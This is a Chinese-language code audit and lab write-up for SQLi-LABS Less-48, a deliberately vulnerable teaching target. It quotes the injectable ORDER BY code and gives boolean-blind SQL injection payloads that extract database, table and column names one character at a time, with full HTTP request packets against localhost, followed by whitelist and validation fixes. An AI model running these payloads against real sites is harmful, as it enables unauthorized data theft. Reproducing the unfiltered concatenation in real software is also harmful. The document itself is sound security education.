Less-48 代码审计报告:ORDER BY 数字型布尔盲注
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-48/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-48: ORDER BY Clause - Blind based - Numeric |
| 源码路径 | Less-48/index.php |
| 漏洞类型 | SQL 注入 – 布尔盲注(ORDER BY 子句)- 数字型 |
| 注入点参数 | GET /sqli-labs/Less-48/?sort= |
| 报错/盲注 | 无报错回显,仅"表格是否显示"作为布尔 Oracle |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-48/index.php
// 第 14 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];
// 第 22 行:数字型直接拼接进 ORDER BY
$sql = "SELECT * FROM users ORDER BY $id";
// 第 23 行
$result = mysql_query($sql);
// 第 24 行:只有 $result 为真才显示表格
if ($result)
{
...
}
关键漏洞点:
- 第 14 行:
$id=$_GET['sort'];未过滤。 - 第 22 行:
ORDER BY $id数字型拼接。 - 无报错回显:本关没有
print_r(mysql_error()),查询失败时只走else分支(第 53-59 行)提示 "Please input parameter…",因此只能盲注,靠"表格是否显示 / 行序变化"区分真假。
3. 漏洞分析
- 输入来源:
$_GET['sort'],未过滤。 - SQL 拼接位置:
ORDER BY $id,无引号。 - 是否回显:查询成功则表格显示(第 24-51 行);查询失败则显示 "Please input parameter as SORT with numeric value"(第 53-59 行)。无报错细节。
- 盲注思路:ORDER BY 的排序表达式可以是一个子查询/条件表达式:
- 条件真 → 表达式值为合法排序键 → 查询成功 → 表格显示;
- 条件假 → 子查询返回多行报错 → 查询失败 → 表格不显示。
以"表格是否出现"为布尔 Oracle 逐字符爆破。
- 注意:ORDER BY 位置不支持 UNION;报错函数错误信息不回显,故走布尔盲注。
4. 利用方式
步骤一:判断注入点
sort=1 → 正常显示表格
sort=1,2 → 正常(多列排序)
sort=(select 1) → 正常
sort=(select 1 union select 2) → 表格消失(子查询多行报错)
→ 确认表达式可执行,且"报错→表格消失"可作 Oracle。
步骤二:布尔盲注判断条件(核心 Payload)
-- 判断当前库是否为 security
sort=(select if((select database())='security',1,(select 1 union select 2)))
-- 判断 security 库中是否存在 users 表
sort=(select if((select count(*) from information_schema.tables where table_schema='security' and table_name='users')=1,1,(select 1 union select 2)))
- 真 → 表格正常显示;假 → 表格消失。
步骤三:逐字符提取数据
-- 判断库名第 1 个字符的 ASCII 是否大于 64
sort=(select if(ascii(substring((select database()),1,1))>64,1,(select 1 union select 2)))
-- 爆表名第 i 个字符(二分法爆破 ASCII)
sort=(select if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),i,1))>N,1,(select 1 union select 2)))
-- 爆 users 表字段 / 数据同理,把子查询换成对应 SELECT 即可
步骤四:行序差异盲注(备选 Oracle)
sort=(select if(condition,1,2))
条件真 → 按列 1(id)排序,首行为 id=1;条件假 → 按列 2(username)排序,首行变化。通过首行用户名区分真假。
步骤五:进阶
- 该盲注每次请求只确认 1 bit/1 字符,配合 Yakit/脚本(如二分法)逐位提取。
- 表名/字段名可从
information_schema提取;库中已知security.users可直接爆数据。
5. Yakit 重放数据包
判断库名是否为 security 报文:
GET /sqli-labs/Less-48/?sort=(select%20if((select%20database())='security',1,(select%201%20union%20select%202))) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
提取库名第 1 个字符(>64)报文:
GET /sqli-labs/Less-48/?sort=(select%20if(ascii(substring((select%20database()),1,1))%3E64,1,(select%201%20union%20select%202))) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
说明:%20=空格、%3E=>、(select%201%20union%20select%202) 为制造报错的子查询。页面出现用户数据表格 → 条件真;表格消失/提示输入参数 → 条件假。
6. 修复建议
修复一(首选):排序字段白名单枚举
ORDER BY 是标识符位置,预处理无法绑定标识符,必须白名单:
<?php
$allow = ['id', 'username', 'password'];
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
$sort = 'id';
}
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysql_query($sql);
修复二:严格校验排序表达式
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
die('Invalid sort field');
}
修复三:输入校验 + 最小权限
- 强制校验
sort为枚举值/正则白名单,非法即回退默认。 - 数据库账号最小权限;升级 PHP 7+ / 8+,移除
mysql_*扩展,使用 PDO/mysqli。 - 生产环境关闭一切错误细节(本关虽已无报错回显,仍需统一错误页)。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境。
正文完